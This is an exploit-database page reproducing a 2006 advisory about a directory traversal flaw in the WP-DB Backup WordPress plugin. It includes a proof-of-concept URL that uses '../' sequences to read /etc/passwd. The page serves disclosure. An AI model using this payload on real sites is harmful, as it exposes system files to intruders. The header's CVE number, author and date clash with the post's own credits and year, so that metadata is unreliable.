Wordpress WP-DB Backup Plugin Directory Traversal Vulnerability

CVE	Category	Price	Severity
CVE-2019-16504	CWE-22	Not specified	High

Author	Risk	Exploitation Type	Date
Serkan Sertan	High	Remote	2006-08-23

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006080110

Below is a copy:

Hi all,

Software: WP-DB Backup Plugin for Wordpress

Homepage: http://www.skippy.net/blog/category/wordpress/plugins/wp-db-backup/

Description:
WP-DB Backup is vulnerable to directory traversal attack.
You must have administrator rights in the wordpress blog to exploit
this vulnerability.

PoC:
http://path-to-wordpress/wp-admin/edit.php?page=wp-db-backup.php&backup=
../../../../../etc/passwd

Credits:
marc & shb from ssteam are credited with discoverying this vulnerability.

Vendor:
not contacted.

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